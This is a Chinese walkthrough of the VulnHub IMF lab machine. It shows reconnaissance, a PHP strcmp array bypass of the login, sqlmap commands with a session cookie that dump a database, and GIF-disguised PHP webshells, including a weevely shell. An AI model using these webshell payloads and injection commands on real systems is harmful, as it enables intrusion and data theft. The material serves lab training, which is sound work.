【打靶记录】VulnHub-IMF靶机渗透wp

目录

简介

(1)信息搜集

1、主机发现

2、端口扫描

3、访问Web服务

(2)漏洞利用

(3)获取靶机shell

(4)提权


简介

IMF 是一个初级难度的boot 2 root 靶机。 flag难度从简单到困难,并且每个flag都含有关于获取下一个flag的提示。

IMF靶机下载地址:IMF: 1 ~ VulnHub

攻击机:Kali Linux IP:192.168.47.129

(1)信息搜集

1、主机发现

因为靶机与宿主机在同一网段,所以用二级扫描来发现靶机ip:arp-scan -l

发现靶机ip为192.168.47.141

2、端口扫描

nmap -sC -sV -O 192.168.47.141

//-sC常见漏洞脚本扫描 -sV开放端口服务/版本号 -O操作系统探测

发现就开了一个80端口

3、访问Web服务

网页上访问192.168.47.141,点第三个选项

查看网页源码,得到flag1{YWxsdGhlZmlsZXM=}

把flag里的内容base64解码,得到字符串:allthefiles

点击首页第一个选项查看源码,这三段有点像base64编码

把三段拼起来:ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==

用base64解码,得到flag2{aW1mYWRtaW5pc3RyYXRvcg==

再把flag2里面的内容解码,得到字符串:imfadministrator

访问一下imfadministrator路径,是一个登陆界面

查看网页源码,发现提示:“我无法使用SQL,所以我硬编码了密码。它仍然非常安全。”

随便输入用户名和密码,点登录,页面回显提示:“无效的用户名”

接下来就需要找到正确的用户名,浏览网页发现有三个邮箱,用这三个用户名登陆试试

使用第一个用户名(rmichaels)登录时,发现页面回显变成了“无效的密码”,说明我们的用户名是正确的

既然知道了正确的用户名,就可以使用burpsuite抓包爆破出密码

右键,选择转发到Intruder

选中要爆破的地方

配置好payload后,点击开始攻击

爆破速度太慢了,放弃这种方式

(2)漏洞利用

burp抓包进行绕过

参考代码php strcmp比较字符串绕过:字符串和数组进行比较

<?php
  $flag = "flag{xxxxx}";
if (isset($_GET['a'])) {
  //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
  //比较两个字符串(区分大小写)
  if (strcmp($_GET['a'], $flag) == 0) 
    die('Flag: '.$flag); 
  else
    print 'No';
}
  ?>

a的输入为非字符串类型数据,就会报错,自动return 0

我们可以将pass以数组的方式传输数据,使其报错。

得到flag3{Y29udGludWVUT2Ntcw==}

base64解密得到:continueTOcms

关闭抓包,页面跳转到如下界面

点击IMF CMS进入新的页面

在url地址栏加单引号测试下,发现有报错回显,说明存在sql注入漏洞

这里因为是基于登录之后的sql注入,使用sqlmap需要加上cookie值

所以我们先抓包记录一下cooike值:PHPSESSID=76gll2kk80bthftu7adt9re7g2

直接上sqlmap,获取数据库名:

sqlmap -o -u "http://192.168.47.141/imfadministrator/cms.php?pagename=home" --cookie="PHPSESSID=76gll2kk80bthftu7adt9re7g2" --batch -dbs

-o: 表示将结果输出到文件。

-u 指定目标 URL,即待测试的网址。

--cookie="PHPSESSID=76gll2kk80bthftu7adt9re7g2": 指定了 HTTP 请求中的 Cookie 信息,这是为了在测试中保持用户的身份验证状态。

--batch: 设置 SQLMap 在运行时遇到多个可能性时自动选择默认选项,而不需要用户交互。

-dbs: 表示检测数据库名称。

获取admin数据库的表名,发现里面只有一个pages表:

sqlmap -o -u "http://192.168.47.141/imfadministrator/cms.php?pagename=home" --cookie="PHPSESSID=76gll2kk80bthftu7adt9re7g2" --batch -D admin -tables

获取pages表里面的全部内容:

sqlmap -o -u "http://192.168.47.141/imfadministrator/cms.php?pagename=home" --cookie="PHPSESSID=76gll2kk80bthftu7adt9re7g2" --batch -D admin -T pages --dump

访问一下上面这两个图片路径,有一个二维码

用手机扫一下发现flag4{dXBsb2Fkcjk0Mi5waHA=}

解码得到:uploadr942.php

访问一下这个php页面,发现是一个文件上传的页面

制作一个图片马1.gif,其中GIF89a是 GIF 图片文件的文件头:

GIF89a

<?php echo `id`;?>

上传这个1.gif文件,显示上传成功

查看一下网页源码,发现上传的文件名被改了

访问一下刚刚上传的这个文件:http://192.168.47.141/imfadministrator/uploads/709c6287be23.gif

页面回显了id,文件上传成功

接下来我们制作一个webshell的图片马:
GIF89a

<?php $a=$_GET['a']; print(`$a`); ?>

这段代码中,用户可以通过 URL 的查询参数 a 提供一个值。然后,该值被赋给变量 $a,并通过反引号执行,这意味着其中的内容会被作为 shell 命令执行。

利用和上面相同的方法上传,访问如下路径,发现flag5

http://192.168.47.141/imfadministrator/uploads/2a596597bca9.gif?a=ls

查看flag5内容:

http://192.168.47.141/imfadministrator/uploads/2a596597bca9.gif?a=cat%20flag5_abc123def.txt

得到flag5{YWdlbnRzZXJ2aWNlcw==} ,解码得:agentservices

(3)获取靶机shell

我们可以使用kali中自带的weevely工具生成php文件,然后把php文件合并至gif图片中,随后进行上传

命令:weevely generate jesse 111.php

使用 Weevely 工具生成一个名为 111.php 的 Web Shell 文件,并设置密码为 jesse

将生成的111.php文件后缀改为.gif,随意添加GIF数值

上传这个111.gif木马文件

上传成功

查看网页源码,记录下这个被修改后的文件名:b365a8c854d7

用weevely工具连接木马文件:

weevely http://192.168.47.141/imfadministrator/uploads/b365a8c854d7.gif jesse

成功获取靶机shell

(4)提权

查看一下系统版本:lsb_release -a

发现是16.04的ubuntu

可以尝试使用CVE-2021- 4034的poc提权,但我试了下没成功,就不写这部分了

  • 23
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值